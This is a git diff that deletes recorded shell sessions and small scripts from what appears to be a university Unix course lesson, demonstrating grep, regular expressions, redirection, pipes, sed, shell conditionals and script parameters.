-test-1.c:  printf ("Hello, world!\n");
-test-2.c:  printf ("Hello, world!\n");
-unix-20210423.tex:        printf ("Hello, world!\n");
-unix-20210423.tex:      Text schreiben: \lstinline[style=cmd]{echo "Hello, world!"}
-unix-20210423.tex:      Programm im aktuellen Verzeichnis aufrufen: \lstinline[style=cmd]{./hello}
-unix-20210423.tex:      Datei ausgeben: \lstinline[style=cmd]{cat hello.c}
-unix-20210423.tex:      Datei anzeigen: \lstinline[style=cmd]{less hello.c}
-cassini/home/peter/bo/2021ss/bs/20210423>
diff --git a/20210423/grep-3.txt b/20210423/grep-3.txt
deleted file mode 100644
index f88ade45ccb68507fb5df7a99948d6908149670b..0000000000000000000000000000000000000000
--- a/20210423/grep-3.txt
+++ /dev/null
@@ -1,36 +0,0 @@
-cassini/home/peter/bo/2021ss/bs/20210423> grep printf *
-grep-1.txt:test-1.c:  printf ("Hello, world!\n");
-grep-1.txt:test-2.c:  printf ("Hello, world!\n");
-grep-1.txt:unix-20210423.tex:        printf ("Hello, world!\n");
-grep-1.txt:test-1.c:  printf ("Hello, world!\n");
-grep-1.txt:test-2.c:  printf ("Hello, world!\n");
-grep-1.txt:unix-20210423.tex:        printf ("Hello, world!\n");
-grep-1.txt:test-1.c:  printf ("Hello, world!\n");
-grep-1.txt:test-2.c:  printf ("Hello, world!\n");
-grep-1.txt:unix-20210423.tex:        printf ("Hello, world!\n");
-grep-2.txt:grep-1.txt:test-1.c:  printf ("Hello, world!\n");
-grep-2.txt:grep-1.txt:test-2.c:  printf ("Hello, world!\n");
-grep-2.txt:grep-1.txt:unix-20210423.tex:        printf ("Hello, world!\n");
-grep-2.txt:grep-1.txt:test-1.c:  printf ("Hello, world!\n");
-grep-2.txt:grep-1.txt:test-2.c:  printf ("Hello, world!\n");
-grep-2.txt:grep-1.txt:unix-20210423.tex:        printf ("Hello, world!\n");
-grep-2.txt:grep-1.txt:test-1.c:  printf ("Hello, world!\n");
-grep-2.txt:grep-1.txt:test-2.c:  printf ("Hello, world!\n");
-grep-2.txt:grep-1.txt:unix-20210423.tex:        printf ("Hello, world!\n");
-grep-2.txt:test-1.c:  printf ("Hello, world!\n");
-grep-2.txt:test-2.c:  printf ("Hello, world!\n");
-grep-2.txt:unix-20210423.tex:        printf ("Hello, world!\n");
-grep: test: Ist ein Verzeichnis
-test-1.c:  printf ("Hello, world!\n");
-test-2.c:  printf ("Hello, world!\n");
-unix-20210423.tex:        printf ("Hello, world!\n");
-unix-20210423.tex:    cassini/.../ainf/20131031.0> ¡grep printf *.c¿
-unix-20210423.tex:    philosophy.c:  printf ("The answer is %d.\n", answer ());
-cassini/home/peter/bo/2021ss/bs/20210423> grep "^printf" *
-grep: test: Ist ein Verzeichnis
-cassini/home/peter/bo/2021ss/bs/20210423> grep -R "^printf" *
-cassini/home/peter/bo/2021ss/bs/20210423> grep -R "^ *printf" *
-test-1.c:  printf ("Hello, world!\n");
-test-2.c:  printf ("Hello, world!\n");
-unix-20210423.tex:        printf ("Hello, world!\n");
-cassini/home/peter/bo/2021ss/bs/20210423>
diff --git a/20210423/grep-4.txt b/20210423/grep-4.txt
deleted file mode 100644
index daf3938a688b451f09472da0c47bd349ca191d21..0000000000000000000000000000000000000000
--- a/20210423/grep-4.txt
+++ /dev/null
@@ -1,95 +0,0 @@
-cassini/home/peter/bo/2021ss/bs/20210423> grep 2013 unix-20210423.tex
-% Copyright (C) 2013, 2015, 2016, 2017, 2018, 2021  Peter Gerwinski
-    ./2013ss/net/script/slides/net-probeklausur-20120712.tex
-    ./2013ss/net/20130924.0/net-klausur-20130924.tex
-    ./2012ss/hs/20130318.0/hs-klausur-20130318.tex
-    2011ws  2012ws  2013ws  doc       misc  projekte
-    2012ss  2013ss  briefe  material  orga
-    cassini/home/peter/bo/2013ss/net/script> ¡cd /usr/bin¿
-    cassini/.../ainf/20131031.0> ¡grep printf *.c¿
-      phoenix/home/peter/bo/2013ws/ainf/20131031.0> ¡ls -l¿
-      cassini/home/peter/bo/2013ws/systech/20131008.0> ¡cat test¿
-      ls -l systech-20131008.*
-      cassini/home/peter/bo/2013ws/systech/20131008.0> ¡chmod +x test¿
-      cassini/home/peter/bo/2013ws/systech/20131008.0> ¡ls -l test¿
-      cassini/home/peter/bo/2013ws/systech/20131008.0> ¡./test¿
-      -rw-r--r-- 1 peter peter 4120 Okt 6 16:44 systech-20131008.aux
-    ./20131031.0/orbit-x.c
-    ./20131031.0/orbit-x1.c
-    ./20131031.0/orbit-x
-    ./20131107.0/orbit-x.c
-    ./20131107.0/orbit-x1.c
-    ./20131107.0/orbit-x
-    ./20131031.0/orbit-x
-    ./20131107.0/orbit-x
-    -rwxr-xr-x 1 peter peter 15831 Okt 31 13:19 ./20131031.0/orbit-x
-    -rwxr-xr-x 1 peter peter 15831 Okt 31 13:19 ./20131107.0/orbit-x
-    rtech-20131002.pdf
-    -rw-r--r-- 1 peter peter 6753149 Okt  1 22:59 rtech-20131002.pdf
-cassini/home/peter/bo/2021ss/bs/20210423>
-cassini/home/peter/bo/2021ss/bs/20210423> grep 2013 unix-20210423.tex
-% Copyright (C) 2013, 2015, 2016, 2017, 2018, 2021  Peter Gerwinski
-    ./2013ss/net/script/slides/net-probeklausur-20120712.tex
-    ./2013ss/net/20130924.0/net-klausur-20130924.tex
-    ./2012ss/hs/20130318.0/hs-klausur-20130318.tex
-    2011ws  2012ws  2013ws  doc       misc  projekte
-    2012ss  2013ss  briefe  material  orga
-    cassini/home/peter/bo/2013ss/net/script> ¡cd /usr/bin¿
-    cassini/.../ainf/20131031.0> ¡grep printf *.c¿
-      phoenix/home/peter/bo/2013ws/ainf/20131031.0> ¡ls -l¿
-      cassini/home/peter/bo/2013ws/systech/20131008.0> ¡cat test¿
-      ls -l systech-20131008.*
-      cassini/home/peter/bo/2013ws/systech/20131008.0> ¡chmod +x test¿
-      cassini/home/peter/bo/2013ws/systech/20131008.0> ¡ls -l test¿
-      cassini/home/peter/bo/2013ws/systech/20131008.0> ¡./test¿
-      -rw-r--r-- 1 peter peter 4120 Okt 6 16:44 systech-20131008.aux
-    ./20131031.0/orbit-x.c
-    ./20131031.0/orbit-x1.c
-    ./20131031.0/orbit-x
-    ./20131107.0/orbit-x.c
-    ./20131107.0/orbit-x1.c
-    ./20131107.0/orbit-x
-    ./20131031.0/orbit-x
-    ./20131107.0/orbit-x
-    -rwxr-xr-x 1 peter peter 15831 Okt 31 13:19 ./20131031.0/orbit-x
-    -rwxr-xr-x 1 peter peter 15831 Okt 31 13:19 ./20131107.0/orbit-x
-    rtech-20131002.pdf
-    -rw-r--r-- 1 peter peter 6753149 Okt  1 22:59 rtech-20131002.pdf
-cassini/home/peter/bo/2021ss/bs/20210423> grep "2013[01][0-9][0-3][0-9].[a-z]*" unix-20210423.tex
-    ./2013ss/net/20130924.0/net-klausur-20130924.tex
-    ./2012ss/hs/20130318.0/hs-klausur-20130318.tex
-    cassini/.../ainf/20131031.0> ¡grep printf *.c¿
-      phoenix/home/peter/bo/2013ws/ainf/20131031.0> ¡ls -l¿
-      cassini/home/peter/bo/2013ws/systech/20131008.0> ¡cat test¿
-      ls -l systech-20131008.*
-      cassini/home/peter/bo/2013ws/systech/20131008.0> ¡chmod +x test¿
-      cassini/home/peter/bo/2013ws/systech/20131008.0> ¡ls -l test¿
-      cassini/home/peter/bo/2013ws/systech/20131008.0> ¡./test¿
-      -rw-r--r-- 1 peter peter 4120 Okt 6 16:44 systech-20131008.aux
-    ./20131031.0/orbit-x.c
-    ./20131031.0/orbit-x1.c
-    ./20131031.0/orbit-x
-    ./20131107.0/orbit-x.c
-    ./20131107.0/orbit-x1.c
-    ./20131107.0/orbit-x
-    ./20131031.0/orbit-x
-    ./20131107.0/orbit-x
-    -rwxr-xr-x 1 peter peter 15831 Okt 31 13:19 ./20131031.0/orbit-x
-    -rwxr-xr-x 1 peter peter 15831 Okt 31 13:19 ./20131107.0/orbit-x
-    rtech-20131002.pdf
-    -rw-r--r-- 1 peter peter 6753149 Okt  1 22:59 rtech-20131002.pdf
-cassini/home/peter/bo/2021ss/bs/20210423> grep "[a-z-]*-2013[01][0-9][0-3][0-9].[a-z]*" unix-20210423.tex
-    ./2013ss/net/20130924.0/net-klausur-20130924.tex
-    ./2012ss/hs/20130318.0/hs-klausur-20130318.tex
-      ls -l systech-20131008.*
-      -rw-r--r-- 1 peter peter 4120 Okt 6 16:44 systech-20131008.aux
-    rtech-20131002.pdf
-    -rw-r--r-- 1 peter peter 6753149 Okt  1 22:59 rtech-20131002.pdf
-cassini/home/peter/bo/2021ss/bs/20210423> grep -o "[a-z-]*-2013[01][0-9][0-3][0-9].[a-z]*" unix-20210423.tex
-net-klausur-20130924.tex
-hs-klausur-20130318.tex
-systech-20131008.
-systech-20131008.aux
-rtech-20131002.pdf
-rtech-20131002.pdf
-cassini/home/peter/bo/2021ss/bs/20210423>
diff --git a/20210423/grep-5.txt b/20210423/grep-5.txt
deleted file mode 100644
index 8b3c701f797a93de86e7e389148d1dfffe545a5b..0000000000000000000000000000000000000000
--- a/20210423/grep-5.txt
+++ /dev/null
@@ -1,26 +0,0 @@
-cassini/home/peter/bo/2021ss/bs/20210423> grep -o "[a-z-]*-2013[01][0-9][0-3][0-9].[a-z]*" unix-20210423.tex
-net-klausur-20130924.tex
-hs-klausur-20130318.tex
-systech-20131008.
-systech-20131008.aux
-rtech-20131002.pdf
-rtech-20131002.pdf
-cassini/home/peter/bo/2021ss/bs/20210423> grep -o "[a-z-]*-2013[01][0-9][0-3][0-9].[a-z][a-z]*" unix-20210423.tex
-net-klausur-20130924.tex
-hs-klausur-20130318.tex
-systech-20131008.aux
-rtech-20131002.pdf
-rtech-20131002.pdf
-cassini/home/peter/bo/2021ss/bs/20210423> grep -o "[a-z-]*-2013[01][0-9][0-3][0-9].[a-z]\+" unix-20210423.tex
-net-klausur-20130924.tex
-hs-klausur-20130318.tex
-systech-20131008.aux
-rtech-20131002.pdf
-rtech-20131002.pdf
-cassini/home/peter/bo/2021ss/bs/20210423> grep -E -o "[a-z-]*-2013[01][0-9][0-3][0-9].[a-z]+" unix-20210423.tex
-net-klausur-20130924.tex
-hs-klausur-20130318.tex
-systech-20131008.aux
-rtech-20131002.pdf
-rtech-20131002.pdf
-cassini/home/peter/bo/2021ss/bs/20210423>
diff --git a/20210423/hello-error.txt b/20210423/hello-error.txt
deleted file mode 100644
index 7a3e3a6323b5d989be3bbbe96f45e6d4fc8e47fe..0000000000000000000000000000000000000000
--- a/20210423/hello-error.txt
+++ /dev/null
@@ -1 +0,0 @@
-grep: test: Ist ein Verzeichnis
diff --git a/20210423/hello-files-and-error.txt b/20210423/hello-files-and-error.txt
deleted file mode 100644
index b0b29831cd4b26cd684768828693d85ba98be314..0000000000000000000000000000000000000000
--- a/20210423/hello-files-and-error.txt
+++ /dev/null
@@ -1,9 +0,0 @@
-grep-1.txt
-grep-2.txt
-grep-3.txt
-iostreams-3.txt
-iostreams-4.txt
-grep: test: Ist ein Verzeichnis
-test-1.c
-test-2.c
-unix-20210423.tex
diff --git a/20210423/hello-files.txt b/20210423/hello-files.txt
deleted file mode 100644
index 3dd40b28f78abd44ab7b51bdaebb797cb9600b5d..0000000000000000000000000000000000000000
--- a/20210423/hello-files.txt
+++ /dev/null
@@ -1,6 +0,0 @@
-grep-1.txt
-grep-2.txt
-grep-3.txt
-test-1.c
-test-2.c
-unix-20210423.tex
diff --git a/20210423/if-1.txt b/20210423/if-1.txt
deleted file mode 100644
index 3e8cf4e13e86960215f0b93c0cea0faa0390741c..0000000000000000000000000000000000000000
--- a/20210423/if-1.txt
+++ /dev/null
@@ -1,4 +0,0 @@
-cassini/home/peter/bo/2021ss/bs/20210423> file_template=$(ls -rt *.c *.cpp *.sh *.py *.tex *.diff 2>/dev/null | tail -1)
-cassini/home/peter/bo/2021ss/bs/20210423> echo $file_template
-params-3.sh
-cassini/home/peter/bo/2021ss/bs/20210423>
diff --git a/20210423/if-2.txt b/20210423/if-2.txt
deleted file mode 100644
index 635b5dfa33342183953e2083727af58ce5423eb4..0000000000000000000000000000000000000000
--- a/20210423/if-2.txt
+++ /dev/null
@@ -1,17 +0,0 @@
-#include <stdio.h>
-
-int main (void)
-{
-  printf ("Bonjour le monde !\n");
-  return 1;
-}
-cassini/home/peter/bo/2021ss/bs/20210423> gcc -Wall -O test-5.c -o test-5
-cassini/home/peter/bo/2021ss/bs/20210423> ./test-5
-Bonjour le monde !
-cassini/home/peter/bo/2021ss/bs/20210423> if ./test-5; then echo "Merci."; else echo "C'est dommage."; fi
-Bonjour le monde !
-C'est dommage.
-cassini/home/peter/bo/2021ss/bs/20210423> if ./test-4; then echo "Merci."; else echo "C'est dommage."; fi
-Bonjour le monde !
-Merci.
-cassini/home/peter/bo/2021ss/bs/20210423>
diff --git a/20210423/if-3.txt b/20210423/if-3.txt
deleted file mode 100644
index ee2a3d913c0b3dea7e62ab80d8ea91ff9f22ef91..0000000000000000000000000000000000000000
--- a/20210423/if-3.txt
+++ /dev/null
@@ -1,16 +0,0 @@
-#include <stdio.h>
-
-int main (void)
-{
-  printf ("Bonjour le monde !\n")
-  return 1
-}
-cassini/home/peter/bo/2021ss/bs/20210423> gcc -Wall -O test-6.c -o test-6 && ./test-6
-test-6.c: In function ‘main’:
-test-6.c:5:34: error: expected ‘;’ before ‘return’
-   printf ("Bonjour le monde !\n")
-                                  ^
-                                  ;
-   return 1
-   ~~~~~~
-cassini/home/peter/bo/2021ss/bs/20210423>
diff --git a/20210423/if-4.txt b/20210423/if-4.txt
deleted file mode 100644
index a458917ec947aa22e0a63ec11117506e7872cd04..0000000000000000000000000000000000000000
--- a/20210423/if-4.txt
+++ /dev/null
@@ -1,9 +0,0 @@
-cassini/home/peter/bo/2021ss/bs/20210423> echo $USER
-peter
-cassini/home/peter/bo/2021ss/bs/20210423> if [ "$USER" = "peter" ]; then echo "Hallo, Peter!"; else echo "Hallo, wer auch immer!"; fi
-Hallo, Peter!
-cassini/home/peter/bo/2021ss/bs/20210423> echo $DISPLAY
-:5
-cassini/home/peter/bo/2021ss/bs/20210423> if [ -n "$DISPLAY" ]; then xeyes; else echo "Keine Grafik!"; fi
-Beendet
-cassini/home/peter/bo/2021ss/bs/20210423>
diff --git a/20210423/input-1.txt b/20210423/input-1.txt
deleted file mode 100644
index 87d825ae4e2adf20e628e84b07e7142fac249ae8..0000000000000000000000000000000000000000
--- a/20210423/input-1.txt
+++ /dev/null
@@ -1,13 +0,0 @@
-cassini/home/peter/bo/2021ss/bs/20210423> del *wichtig*
-unwichtig-1.txt  unwichtig-3.txt  unwichtig-5.txt  unwichtig-7.txt
-unwichtig-2.txt  unwichtig-4.txt  unwichtig-6.txt
-Press ENTER to delete, ^C to abort.
-cassini/home/peter/bo/2021ss/bs/20210423> which del
-/home/peter/usr/bin/del
-cassini/home/peter/bo/2021ss/bs/20210423> cat $(which del)
-#!/bin/sh
-ls "$@"
-echo -n "Press ENTER to delete, ^C to abort."
-read junk
-rm "$@"
-cassini/home/peter/bo/2021ss/bs/20210423>
diff --git a/20210423/input-2.txt b/20210423/input-2.txt
deleted file mode 100644
index 5efddfaa5b27bc90bc5abc5c47a4d2dc0739366c..0000000000000000000000000000000000000000
--- a/20210423/input-2.txt
+++ /dev/null
@@ -1,5 +0,0 @@
-cassini/home/peter/bo/2021ss/bs/20210423> read name
-Peter
-cassini/home/peter/bo/2021ss/bs/20210423> echo "Hallo, $name!"
-Hallo, Peter!
-cassini/home/peter/bo/2021ss/bs/20210423>
diff --git a/20210423/iostreams-1.txt b/20210423/iostreams-1.txt
deleted file mode 100644
index 817f3fdaa6508d437ad2a90bace2475009d1c08b..0000000000000000000000000000000000000000
--- a/20210423/iostreams-1.txt
+++ /dev/null
@@ -1,4 +0,0 @@
-cassini/home/peter/bo/2021ss/bs/20210423> echo "Dies ist ein Test." > test.txt
-cassini/home/peter/bo/2021ss/bs/20210423> cat test.txt
-Dies ist ein Test.
-cassini/home/peter/bo/2021ss/bs/20210423>
diff --git a/20210423/iostreams-2.txt b/20210423/iostreams-2.txt
deleted file mode 100644
index 7257290e423d184a5a70fa4eea36b070c49e986a..0000000000000000000000000000000000000000
--- a/20210423/iostreams-2.txt
+++ /dev/null
@@ -1,5 +0,0 @@
-cassini/home/peter/bo/2021ss/bs/20210423> echo "Dies auch." >> test.txt
-cassini/home/peter/bo/2021ss/bs/20210423> cat test.txt
-Dies ist ein Test.
-Dies auch.
-cassini/home/peter/bo/2021ss/bs/20210423>
diff --git a/20210423/iostreams-3.txt b/20210423/iostreams-3.txt
deleted file mode 100644
index 9d143b406ba97ec0878c30ff2fc40a0619ea7383..0000000000000000000000000000000000000000
--- a/20210423/iostreams-3.txt
+++ /dev/null
@@ -1,18 +0,0 @@
-cassini/home/peter/bo/2021ss/bs/20210423> grep -l Hello *
-grep-1.txt
-grep-2.txt
-grep-3.txt
-grep: test: Ist ein Verzeichnis
-test-1.c
-test-2.c
-unix-20210423.tex
-cassini/home/peter/bo/2021ss/bs/20210423> grep -l Hello * > hello-files.txt
-grep: test: Ist ein Verzeichnis
-cassini/home/peter/bo/2021ss/bs/20210423> cat hello-files.txt
-grep-1.txt
-grep-2.txt
-grep-3.txt
-test-1.c
-test-2.c
-unix-20210423.tex
-cassini/home/peter/bo/2021ss/bs/20210423>
diff --git a/20210423/iostreams-4.txt b/20210423/iostreams-4.txt
deleted file mode 100644
index e4c57d3fdc6d5a09317b409627de2380bbc6c360..0000000000000000000000000000000000000000
--- a/20210423/iostreams-4.txt
+++ /dev/null
@@ -1,20 +0,0 @@
-cassini/home/peter/bo/2021ss/bs/20210423> grep -l Hello *
-grep-1.txt
-grep-2.txt
-grep-3.txt
-iostreams-3.txt
-grep: test: Ist ein Verzeichnis
-test-1.c
-test-2.c
-unix-20210423.tex
-cassini/home/peter/bo/2021ss/bs/20210423> grep -l Hello * 2> hello-error.txt
-grep-1.txt
-grep-2.txt
-grep-3.txt
-iostreams-3.txt
-test-1.c
-test-2.c
-unix-20210423.tex
-cassini/home/peter/bo/2021ss/bs/20210423> cat hello-error.txt
-grep: test: Ist ein Verzeichnis
-cassini/home/peter/bo/2021ss/bs/20210423>
diff --git a/20210423/iostreams-5.txt b/20210423/iostreams-5.txt
deleted file mode 100644
index e8b40291644f11d7407fdc3ca0114a778f36c070..0000000000000000000000000000000000000000
--- a/20210423/iostreams-5.txt
+++ /dev/null
@@ -1,12 +0,0 @@
-cassini/home/peter/bo/2021ss/bs/20210423> grep -l Hello * > hello-files-and-error.txt 2>&1
-cassini/home/peter/bo/2021ss/bs/20210423> cat hello-files-and-error.txt
-grep-1.txt
-grep-2.txt
-grep-3.txt
-iostreams-3.txt
-iostreams-4.txt
-grep: test: Ist ein Verzeichnis
-test-1.c
-test-2.c
-unix-20210423.tex
-cassini/home/peter/bo/2021ss/bs/20210423>
diff --git a/20210423/iostreams-6.txt b/20210423/iostreams-6.txt
deleted file mode 100644
index 08385ba4fcc8591c2133355f67cbd70e5a2ae94d..0000000000000000000000000000000000000000
--- a/20210423/iostreams-6.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-cassini/home/peter/bo/2021ss/bs/20210423> echo 'Fehler!!!' 1>&2
-Fehler!!!
-cassini/home/peter/bo/2021ss/bs/20210423>
diff --git a/20210423/iostreams-7.txt b/20210423/iostreams-7.txt
deleted file mode 100644
index ca5f11b88d5f942f3099343d5cd275c3f8543720..0000000000000000000000000000000000000000
--- a/20210423/iostreams-7.txt
+++ /dev/null
@@ -1,4 +0,0 @@
-cassini/home/peter/bo/2021ss/bs/20210423> echo "2 + 2" > "test.bc"
-cassini/home/peter/bo/2021ss/bs/20210423> bc < test.bc
-4
-cassini/home/peter/bo/2021ss/bs/20210423>
diff --git a/20210423/iostreams-8.txt b/20210423/iostreams-8.txt
deleted file mode 100644
index e21ca489f3d9c6a2fa8b1fad86b27bd046ddbcdb..0000000000000000000000000000000000000000
--- a/20210423/iostreams-8.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-cassini/home/peter/bo/2021ss/bs/20210423> echo "2 + 2" | bc
-4
-cassini/home/peter/bo/2021ss/bs/20210423>
diff --git a/20210423/iostreams-9.txt b/20210423/iostreams-9.txt
deleted file mode 100644
index 332ab2c296dd28a2aac6985bddeb6dfc56242bbf..0000000000000000000000000000000000000000
--- a/20210423/iostreams-9.txt
+++ /dev/null
@@ -1,10 +0,0 @@
-cassini/home/peter/bo/2021ss/bs/20210423> ls -rt *.c *.cpp *.sh *.py *.tex *.diff              ls: Zugriff auf '*.cpp' nicht möglich: Datei oder Verzeichnis nicht gefunden
-ls: Zugriff auf '*.py' nicht möglich: Datei oder Verzeichnis nicht gefunden
-ls: Zugriff auf '*.diff' nicht möglich: Datei oder Verzeichnis nicht gefunden
- unix-20210423.tex   test-1.c   test-4.c      params-2.sh
- test-2.c            test-3.c   params-1.sh   params-3.sh
-cassini/home/peter/bo/2021ss/bs/20210423> ls -rt *.c *.cpp *.sh *.py *.tex *.diff 2>/dev/null   unix-20210423.tex   test-1.c   test-4.c      params-2.sh
- test-2.c            test-3.c   params-1.sh   params-3.sh
-cassini/home/peter/bo/2021ss/bs/20210423> ls -l /dev/null
-crw-rw-rw- 1 root root 1, 3 Apr  6 09:59 /dev/null
-cassini/home/peter/bo/2021ss/bs/20210423>
diff --git a/20210423/params-1.sh b/20210423/params-1.sh
deleted file mode 100755
index 89423aeae1bb6246e6d0c5acd58991227648b97b..0000000000000000000000000000000000000000
--- a/20210423/params-1.sh
+++ /dev/null
@@ -1,3 +0,0 @@
-#!/bin/bash
-
-echo $1
diff --git a/20210423/params-1.txt b/20210423/params-1.txt
deleted file mode 100644
index 99bfcff2538974d2105920485a213c4c663a2a3c..0000000000000000000000000000000000000000
--- a/20210423/params-1.txt
+++ /dev/null
@@ -1,17 +0,0 @@
-#!/bin/bash
-
-echo $1
-cassini/home/peter/bo/2021ss/bs/20210423> chmod 111 params-1.sh
-cassini/home/peter/bo/2021ss/bs/20210423> ./params-1.sh
-/bin/bash: ./params-1.sh: Keine Berechtigung
-cassini/home/peter/bo/2021ss/bs/20210423> chmod 555 params-1.sh
-cassini/home/peter/bo/2021ss/bs/20210423> ./params-1.sh
-
-cassini/home/peter/bo/2021ss/bs/20210423> ./params-1.sh Foo
-Foo
-cassini/home/peter/bo/2021ss/bs/20210423> ./params-1.sh Foo Bar Baz
-Foo
-cassini/home/peter/bo/2021ss/bs/20210423> chmod 755 params-1.sh
-cassini/home/peter/bo/2021ss/bs/20210423> ./params-1.sh Pruzzel Proe
-Pruzzel
-cassini/home/peter/bo/2021ss/bs/20210423>
diff --git a/20210423/params-2.sh b/20210423/params-2.sh
deleted file mode 100755
index 7102914424002091e56660128cb4bfe1410e9117..0000000000000000000000000000000000000000
--- a/20210423/params-2.sh
+++ /dev/null
@@ -1,4 +0,0 @@
-#!/bin/bash
-
-shift
-echo $1
diff --git a/20210423/params-2.txt b/20210423/params-2.txt
deleted file mode 100644
index c6d85aaf63a686ea9737a9d54ee8e63cfc7f3095..0000000000000000000000000000000000000000
--- a/20210423/params-2.txt
+++ /dev/null
@@ -1,9 +0,0 @@
-#!/bin/bash
-
-shift 2
-echo $1
-cassini/home/peter/bo/2021ss/bs/20210423> ./params-2.sh Foo Bar Baz
-Bar
-cassini/home/peter/bo/2021ss/bs/20210423> ./params-2.sh Foo Bar Baz Pruzzel Proe
-Bar
-cassini/home/peter/bo/2021ss/bs/20210423>
diff --git a/20210423/params-3.sh b/20210423/params-3.sh
deleted file mode 100755
index a21f4a7afd3fa8d2c4b63e57f46cdd3433697322..0000000000000000000000000000000000000000
--- a/20210423/params-3.sh
+++ /dev/null
@@ -1,4 +0,0 @@
-#!/bin/bash
-
-shift 2
-echo $1
diff --git a/20210423/permissions-1.txt b/20210423/permissions-1.txt
deleted file mode 100644
index 7753ba766a0746572d1bbc91782f6e6868c8120a..0000000000000000000000000000000000000000
--- a/20210423/permissions-1.txt
+++ /dev/null
@@ -1,8 +0,0 @@
-cassini/home/peter/bo/2021ss/bs/20210423> cd test
-cassini/home/peter/bo/2021ss/bs/20210423/test> cd ..
-cassini/home/peter/bo/2021ss/bs/20210423> chmod -x test
-cassini/home/peter/bo/2021ss/bs/20210423> cd test
-bash: cd: test: Keine Berechtigung
-cassini/home/peter/bo/2021ss/bs/20210423> chmod +x test
-cassini/home/peter/bo/2021ss/bs/20210423> cd test
-cassini/home/peter/bo/2021ss/bs/20210423/test>
diff --git a/20210423/pipes-1.txt b/20210423/pipes-1.txt
deleted file mode 100644
index 52e61e32cdf3dbe16dcc2dc289d61bcb519472e6..0000000000000000000000000000000000000000
--- a/20210423/pipes-1.txt
+++ /dev/null
@@ -1,5 +0,0 @@
-cassini/home/peter/bo/2021ss/bs/20210423> echo "2 + 2" | sed -e 's/2/4/g' | bc
-8
-cassini/home/peter/bo/2021ss/bs/20210423> echo "2 + 2" | sed -e 's/2/4/g' | bc
-8
-cassini/home/peter/bo/2021ss/bs/20210423>
diff --git a/20210423/pipes-2.txt b/20210423/pipes-2.txt
deleted file mode 100644
index 1297679515178283114f974cc27601bd871b2646..0000000000000000000000000000000000000000
--- a/20210423/pipes-2.txt
+++ /dev/null
@@ -1,6 +0,0 @@
-cassini/home/peter/bo/2021ss/bs/20210423> echo "2 + 2" | sed -e 's/2/4/' | bc                  6
-cassini/home/peter/bo/2021ss/bs/20210423> echo "2 + 2" | sed -e 's/2/4/'
-4 + 2
-cassini/home/peter/bo/2021ss/bs/20210423> echo "2 + 2" | sed -e 's/2/4/g'
-4 + 4
-cassini/home/peter/bo/2021ss/bs/20210423>
diff --git a/20210423/pipes-3.txt b/20210423/pipes-3.txt
deleted file mode 100644
index 0b875199efc3fd84a2990dd328c837653ee304f7..0000000000000000000000000000000000000000
--- a/20210423/pipes-3.txt
+++ /dev/null
@@ -1,12 +0,0 @@
-cassini/home/peter/bo/2021ss/bs/20210423> echo "2 + 2" | sed -e 's/2/4/g'
-4 + 4
-cassini/home/peter/bo/2021ss/bs/20210423> echo "2 + 2" | sed -e 's/2/4/g' | gzip
-gzip: compressed data not written to a terminal. Use -f to force compression.
-For help, type: gzip -h
-cassini/home/peter/bo/2021ss/bs/20210423> echo "2 + 2" | sed -e 's/2/4/g' | gzip | gunzip
-4 + 4
-cassini/home/peter/bo/2021ss/bs/20210423> echo "2 + 2" | sed -e 's/2/4/g' | gzip | gunzip | bc
-8
-cassini/home/peter/bo/2021ss/bs/20210423> echo "2 + 2" | sed -e 's/2/4/g' | gzip | gunzip | sed -e 's/4/3/g' | bc
-6
-cassini/home/peter/bo/2021ss/bs/20210423>
diff --git a/20210423/pipes-4.txt b/20210423/pipes-4.txt
deleted file mode 100644
index 575936dd9c4052de1f7c356eacb0bd400465b8c7..0000000000000000000000000000000000000000
--- a/20210423/pipes-4.txt
+++ /dev/null
@@ -1,6 +0,0 @@
- 2142  find ~/bo/ -type f -name "*klausur*.pdf"
- 2143  find ~/bo/ -type f -name "*klausur*.pdf" | grep "-fig[0-9]"
- 2144  find ~/bo/ -type f -name "*klausur*.pdf" | grep "\-fig[0-9]"
- 2145  find ~/bo/ -type f -name "*klausur*.pdf" | grep -v "\-fig[0-9]"
- 2146  ls $(find ~/bo/ -type f -name "*klausur*.pdf" | grep -v "\-fig[0-9]")
- 2147  zip -9 klausuren.zip $(find ~/bo/ -type f -name "*klausur*.pdf" | grep -v "\-fig[0-9]")
diff --git a/20210423/pipes-5.txt b/20210423/pipes-5.txt
deleted file mode 100644
index 72529eecee6184f661445369ca67be8674070d40..0000000000000000000000000000000000000000
--- a/20210423/pipes-5.txt
+++ /dev/null
@@ -1,14 +0,0 @@
-cassini/home/peter/bo/2021ss/bs/20210423> ls -rt *.c *.cpp *.sh *.py *.tex *.diff 2>/dev/null   unix-20210423.tex   test-1.c   test-4.c      params-2.sh
- test-2.c            test-3.c   params-1.sh   params-3.sh
-cassini/home/peter/bo/2021ss/bs/20210423> ls -rt *.c *.cpp *.sh *.py *.tex *.diff 2>/dev/null | cat
-unix-20210423.tex
-test-2.c
-test-1.c
-test-3.c
-test-4.c
-params-1.sh
-params-2.sh
-params-3.sh
-cassini/home/peter/bo/2021ss/bs/20210423> ls -rt *.c *.cpp *.sh *.py *.tex *.diff 2>/dev/null | tail -1
-params-3.sh
-cassini/home/peter/bo/2021ss/bs/20210423>
diff --git a/20210423/sed-1.txt b/20210423/sed-1.txt
deleted file mode 100644
index 412c17d0eacee74c1e535766c846509c00f8f385..0000000000000000000000000000000000000000
--- a/20210423/sed-1.txt
+++ /dev/null
@@ -1,7 +0,0 @@
-cassini/home/peter/bo/2021ss/bs/20210423> file_template=$(ls -rt *.c *.cpp *.sh *.py *.tex *.diff 2>/dev/null | tail -1)
-cassini/home/peter/bo/2021ss/bs/20210423> echo $file_template                                  test-6.c
-cassini/home/peter/bo/2021ss/bs/20210423> echo $file_template | sed -e 's/.*\.\(.*$\)/\1/'
-c
-cassini/home/peter/bo/2021ss/bs/20210423> echo $file_template | sed -e 's/\(.*\)\..*$/\1/'
-test-6
-cassini/home/peter/bo/2021ss/bs/20210423>
diff --git a/20210423/test-1.c b/20210423/test-1.c
deleted file mode 100644
index b19d80e9bd0bd7c5ed8f54b20c6a50d9166f03ac..0000000000000000000000000000000000000000
--- a/20210423/test-1.c
+++ /dev/null
@@ -1,7 +0,0 @@
-#include <stdio.h>
-
-int main (void)
-{
-  printf ("Hello, world!\n");
-  return 0;
-}
diff --git a/20210423/test-2.c b/20210423/test-2.c
deleted file mode 100644
index b19d80e9bd0bd7c5ed8f54b20c6a50d9166f03ac..0000000000000000000000000000000000000000
--- a/20210423/test-2.c
+++ /dev/null
@@ -1,7 +0,0 @@
-#include <stdio.h>
-
